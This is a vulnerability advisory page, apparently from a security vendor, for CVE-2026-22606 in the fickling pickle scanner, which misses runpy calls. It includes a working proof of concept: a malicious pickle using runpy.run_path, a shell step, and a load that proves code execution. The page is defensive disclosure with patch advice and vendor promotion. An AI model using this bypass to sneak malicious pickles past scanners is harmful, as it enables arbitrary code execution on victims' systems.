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Not in CISA KEV

CVE-2026-22606 fickling

Fix: trailofbits/fickling@9a2b3f8

CVE-2026-22606 is a CWE-184 vulnerability in fickling. A fix is available for fickling — see the affected versions and patch details below.

Fickling has a bypass via runpy.run_path() and runpy.run_module()

Also known asGHSA-wfq2-52f7-7qvjPYSEC-2026-1373
Published
Jan 10, 2026
Updated
Aug 12, 2026
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Sep 21, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
  • CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
  • A successful exploit gives an attacker total control of the affected component, not partial access.

Exploitation and automatability from CISA’s SSVC triage for CVE-2026-22606.

EPSS Exploitation Probability

via FIRST.org ↗
0.5%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs41th percentile — riskier than 41% of all scored CVEsHighest risk

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

Real-World Exposure

1 pkg affected
🐍fickling

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.

Description

Fickling's assessment

runpy was added to the list of unsafe imports (https://github.com/trailofbits/fickling/commit/9a2b3f89bd0598b528d62c10a64c1986fcb09f66).

Original report

Summary

Fickling versions up to and including 0.1.6 do not treat Python’s runpy module as unsafe. Because of this, a malicious pickle that uses runpy.run_path() or runpy.run_module() is classified as SUSPICIOUS instead of OVERTLY_MALICIOUS.

If a user relies on Fickling’s output to decide whether a pickle is safe to deserialize, this misclassification can lead them to execute attacker-controlled code on their system.

This affects any workflow or product that uses Fickling as a security gate for pickle deserialization.

Details

The runpy module is missing from fickling's block list of unsafe module imports in fickling/analysis.py. This is the same root cause as CVE-2025-67748 (pty) and CVE-2025-67747 (marshal/types).

Incriminated source code:

  • File: fickling/analysis.py
  • Class: UnsafeImports
  • Issue: The blocklist does not include runpy, runpy.run_path, runpy.run_module, or runpy._run_code

Reference to similar fix:

  • PR #187 added pty to the blocklist to fix CVE-2025-67748
  • PR #108 documented the blocklist approach
  • The same fix pattern should be applied for runpy

How the bypass works:

  1. Attacker creates a pickle using runpy.run_path() in __reduce__
  2. Fickling's UnsafeImports analysis does not flag runpy as dangerous
  3. Only the UnusedVariables heuristic triggers, resulting in SUSPICIOUS severity
  4. The pickle should be rated OVERTLY_MALICIOUS like os.system, eval, and exec

Tested behavior (fickling 0.1.6):

FunctionFickling SeverityRCE Capable
os.systemLIKELY_OVERTLY_MALICIOUSYes
evalOVERTLY_MALICIOUSYes
execOVERTLY_MALICIOUSYes
runpy.run_pathSUSPICIOUSYes ← BYPASS
runpy.run_moduleSUSPICIOUSYes ← BYPASS

Suggested fix: Add to the unsafe imports blocklist in fickling/analysis.py:

  • runpy
  • runpy.run_path
  • runpy.run_module
  • runpy._run_code
  • runpy._run_module_code

PoC

Complete instructions, including specific configuration details, to reproduce the vulnerability.Environment:

  • Python 3.13.2
  • fickling 0.1.6 (latest version, installed via pip)

Step 1: Create malicious pickle

import pickle import runpy

class MaliciousPayload: def reduce(self): return (runpy.run_path, ("/tmp/malicious_script.py",))

with open("malicious.pkl", "wb") as f: pickle.dump(MaliciousPayload(), f)

Step 2: Create the malicious script that will be executed

echo 'print("RCE ACHIEVED"); open("/tmp/pwned","w").write("compromised")' > /tmp/malicious_script.py

Step 3: Analyze with fickling

fickling --check-safety malicious.pkl

Expected output (if properly detected): Severity: OVERTLY_MALICIOUS

Actual output (bypass confirmed): { "severity": "SUSPICIOUS", "analysis": "Variable _var0 is assigned value run_path(...) but unused afterward; this is suspicious and indicative of a malicious pickle file", "detailed_results": { "AnalysisResult": { "UnusedVariables": ["_var0", "run_path(...)"] } } }

Step 4: Prove RCE by loading the pickle

import pickle pickle.load(open("malicious.pkl", "rb"))

Check: ls /tmp/pwned <-- file exists, proving code execution

Pickle disassembly (evidence):

0: \x80 PROTO      4
2: \x95 FRAME      92

11: \x8c SHORT_BINUNICODE 'runpy' 18: \x94 MEMOIZE (as 0) 19: \x8c SHORT_BINUNICODE 'run_path' 29: \x94 MEMOIZE (as 1) 30: \x93 STACK_GLOBAL 31: \x94 MEMOIZE (as 2) 32: \x8c SHORT_BINUNICODE '/tmp/malicious_script.py' ... 100: R REDUCE 101: \x94 MEMOIZE (as 5) 102: . STOP

Impact

Vulnerability Type: Incomplete blocklist leading to safety check bypass (CWE-184) and arbitrary code execution via insecure deserialization (CWE-502).

Who is impacted: Any user or system that relies on fickling to vet pickle files for security issues before loading them. This includes:

Attack scenario: An attacker uploads a malicious ML model or pickle file to a model repository. The victim's pipeline uses fickling to scan uploads. Fickling rates the file as "SUSPICIOUS" (not "OVERTLY_MALICIOUS"), so the file is not rejected. When the victim loads the model, arbitrary code executes on their system.

Severity: HIGH

  • The attacker achieves arbitrary code execution
  • The security control (fickling) is specifically designed to prevent this
  • The bypass requires no special conditions beyond crafting the pickle with runpy

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐍PyPIficklingall versions0.1.7pip install --upgrade 'fickling==0.1.7'

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for fickling, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update fickling to 0.1.7 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-22606 is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2026-22606 can be triaged on real exposure rather than presence alone.

Tailored to CVE-2026-22606. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

# Fickling's assessment `runpy` was added to the list of unsafe imports (https://github.com/trailofbits/fickling/commit/9a2b3f89bd0598b528d62c10a64c1986fcb09f66). # Original report ### Summary Fickling versions up to and including 0.1.6 do not treat Python’s runpy module as unsafe. Because of this, a malicious pickle that uses runpy.run_path() or runpy.run_module() is classified as SUSPICIOUS instead of OVERTLY_MALICIOUS. If a user relies on Fickling’s output to decide whether a pickle is safe to deserialize, this misclassification can lead them to execute attacker-controlled code on thei
O3 Security · Impact-Aware SCA

Is CVE-2026-22606 in your dependencies?

O3 Security finds CVE-2026-22606 across PyPI dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.

CVE-2026-22606: fickling RCE | O3 Security